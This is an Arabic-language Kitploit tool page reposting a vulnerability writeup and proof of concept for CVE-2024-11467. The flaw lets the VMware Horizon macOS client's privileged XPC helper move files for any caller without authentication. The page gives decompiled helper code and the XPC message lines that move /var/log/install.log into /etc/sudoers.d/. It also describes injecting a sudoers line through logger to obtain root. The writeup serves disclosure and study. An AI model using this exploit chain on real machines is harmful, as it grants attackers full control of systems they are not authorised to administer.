Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-11467 — عميل VMWare Horizon لنظام macOS يعاني من ثغرة تصعيد صلاحيات محلية (LPE) بسبب خلل منطقي في XPC. برهان مفهوم (POC) متأخر لثغرة 0-day أفصحت عنها بمسؤولية إلى Omnissa. | Kitploit
أدوات/GitHubGitHub/null-event/cve-2024-11467
تصعيد الامتيازاتتحليل الثغرات الأمنيةتحليل الكودالاستغلالالهندسة العكسيةاختبار الاختراقاستغلال الملفات الثنائية
GitHubnull-event/cve-2024-11467

CVE-2024-11467

عميل VMWare Horizon لنظام macOS يعاني من ثغرة تصعيد صلاحيات محلية (LPE) بسبب خلل منطقي في XPC. برهان مفهوم (POC) متأخر لثغرة 0-day أفصحت عنها بمسؤولية إلى Omnissa.

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-11467

يستخدم نظام التشغيل macOS خدمات XPC للاتصال الأساسي بين العمليات المختلفة، مثل الاتصال بين خفيّ خدمة XPC (XPC Service daemon) وأدوات المساعدة المميزة لتطبيقات الطرف الثالث. عند تثبيت عميل VMware Horizon، يقوم بتسجيل الأداة المساعدة المميزة com.vmware.horizon.CDSHelper داخل الدليل /Library/PrivilegedHelperTools/.

يجب أيضاً ملاحظة أن اسم mach الخاص بـ com.vmware.horizon.CDSHelper يُستخدم من قبل الأداة المساعدة المميزة للاستماع إلى اتصالات XPC الواردة، كما هو موضح أعلاه. تم بعد ذلك استخدام أدوات مطوري macOS الافتراضية لتفريغ الرموز (symbols) من الملف الثنائي للأداة المساعدة للتأكد من أنه يتضمن سلوك XPC:

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

تم استخدام أداة Hopper Disassembler بعد ذلك لتحميل الأداة المساعدة داخل مفكك الشيفرة (decompiler) لمزيد من الهندسة العكسية، كما هو موضح أدناه: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper

تم تحديد موقع الدالة EntryPoint() ومراجعتها، مما يؤكد أنها تمثل نقطة الدخول الرئيسية لـ CDSHelper.

تم بعد ذلك تفكيك الدالة sub_100005fa0، مما يؤكد أن أداة المساعدة المميزة لعميل VMWare Horizon تستخدم واجهة برمجة تطبيقات خدمات XPC -- وهي واجهة برمجة التطبيقات ذات المستوى C الأدنى التي توفرها Apple، على عكس واجهة برمجة تطبيقات اتصال XPC الموجودة في طبقة Objective-C/Swift:

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

بعد إنشاء خدمة mach (عبر xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper))، يتم تبادل الرسائل بين العميل وخدمة XPC الخاصة بعميل Horizon عبر كائنات قاموس XPC التي يتم إنشاؤها باستخدام طريقة xpc_dictionary_create().

يمكن إضافة قيم إلى هذا القاموس باستخدام طرق توفرها Apple للمطورين؛ وعادةً ما تبدأ هذه الطرق بـ xpc_dictionary_set_*.

يمكن للعميل إرسال كائنات قاموس XPC هذه إلى خدمة XPC عبر طرق مثل xpc_connection_send_*.

في طرف خدمة XPC الخاصة بعميل Horizon، يتم تسجيل معالج يمكنه التعامل مع كائنات قاموس XPC المستلمة من العميل. ويتم ذلك باستخدام طريقة xpc_connection_set_event_handler().

أخيراً، تُقرأ القيم من كائن قاموس XPC المستلم باستخدام طرق مثل xpc_dictionary_get_*.

بعد عودة EntryPoint() الخاصة بـ CDSHelper، يتم استدعاء الدالة sub_100056d0:

صورة

عند هذه النقطة، ينتقل التنفيذ إلى sub_1000056ec، التي تتعامل مع الجزء الأكبر من معالجة رسائل XPC الواردة. فيما يلي الدالة المفككة كاملة. وسيتم مراجعة الأجزاء الضعيفة البارزة مباشرة بعد ذلك.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

كما هو موضح أدناه، تحصل الأداة المساعدة المميزة أولاً على قيمة cdsjob باستخدام طريقة xpc_dictionary_get_string(). ومن هنا، هناك ثلاثة سلاسل نصية محتملة تنتظرها الأداة المساعدة المميزة:

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
صورة

إذا أعادت مقارنة السلاسل تطابقاً مع cdsjob_movefile، يستأنف CDSHelper التنفيذ داخل loc_1000058c4، كما هو موضح أدناه. يتم التحقق من سلسلتين إضافيتين عبر طريقة xpc_dictionary_get_string():

  • cds_movefile_srcfile
  • cds_movefile_dstdir
صورة

بعد حصول الأداة المساعدة المميزة على هاتين السلسلتين الإضافيتين، يتم استدعاء ثلاث دوال إضافية عند:

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 تم تتبع هذه الدوال (stepped into) وعرضها أدناه.

إرجاع سلسلة نصية يتم إنشاؤها بنسخ البيانات من مصفوفة C معينة من البايتات المشفرة بترميز UTF8 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

إرجاع سلسلة نصية ثانية:

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

نقل الملف أو الدليل الموجود في المسار المحدد بواسطة cds_movefile_srcfile إلى موقع جديد في cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

عند هذه النقطة، وباستثناء أي أخطاء في نظام الملفات، يقوم CDSHelper بنقل الملف بنجاح، ويسجل الرسالة التالية، ويعيد التنفيذ: CDSHelper: The cds moving ran successfully!

تجدر الإشارة إلى أنه أثناء هذه العملية، لا تقوم الأداة المساعدة المميزة بأي فحوصات على اتصال العميل الوارد (على سبيل المثال، عبر فحص التوقيع باستخدام سلسلة SecRequirement، ومعرّف حزمة الاتصال، ومعرّف الفريق، وتوقيع شهادة Apple، وما إلى ذلك). وبالتالي، يمكن لجهة خبيثة إنشاء اتصال XPC صالح وإجبار الأداة المساعدة المميزة على نقل ملفات عشوائية بامتيازات مرتفعة. وهذا يتيح إمكانية تصعيد الامتيازات وصولاً إلى اختراق كامل لنظام التشغيل، كما هو موضح أدناه.

تم تعيين قيم قاموس XPC التالية وإرسالها أولاً لإثبات إمكانية الكتابة فوق ملفات جذرية عشوائية (arbitrary root fileoverwrite):

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

ومع ذلك، ونتيجة لقيام CDSHelper بتهيئة كائن مدير ملفات باستخدام defaultManager بدلاً من fileManagerWithAuthorization في الدالة المفككة sub_1000068b8، فإن الأداة المساعدة المميزة تحترم ملكية الملفات عند نقلها؛ أي أن الملفات المملوكة أصلاً لمستخدمين غير root لا تصبح مملوكة لـ root أثناء عملية نقل تلك الملفات. وبناءً عليه، ومن أجل تصعيد الامتيازات عن طريق نقل ملف إلى دليل مثل /etc/sudoers.d/، يحتاج المهاجم إلى العثور على ملف مملوك بالفعل لـ root، وغير قابل للكتابة من الجميع، ويمكن التحكم في محتوياته جزئياً قبل نقله عبر دالة CDSHelper.

كما هو موضح أدناه، من الممكن التحكم جزئياً في محتويات /var/log/install.log عبر أداة سطر الأوامر logger؛ وهذا ملف يلبي معايير شروط الاستغلال:

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

من الممكن إدراج سطر صالح من إعدادات sudo في ملف السجل باستخدام logger، مع تحديد أولوية install.error وإضافة سطر جديد عبر حرف إرجاع السطر (carriage return).

فيما يلي الأسطر ذات الصلة من إثبات المفهوم (POC) الخاص بالاستغلال (انظر poc.c) لنقل ملف السجل المذكور أعلاه إلى دليل /etc/sudoers.d/ باسم myfile:

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

لاحظ أنه عند تلقي أمر يتم تشغيله عبر sudo، سيقوم نظام التشغيل بتحليل ملف السجل، وسيعيد إلى stdout أخطاء متعددة تتعلق بالصيغة غير الصالحة لإدخالات السجل أثناء العملية، وسيواصل في النهاية حتى يصل إلى السطر الوحيد ذي الصيغة الصالحة الذي تم حقنه.

وبالتالي، ينقل الاستغلال ملف السجل المحقون بنجاح إلى دليل /etc/sudoers.d/ ويُظهر أنه من الممكن تنفيذ touch على ملف جديد يقع في /tmp/vmwarebeware عبر sudo، مما يثبت نجاح تصعيد الامتيازات على نظام التشغيل macOS الأساسي عبر أداة المساعدة المميزة لعميل VMWare Horizon.

تنزيل الأداة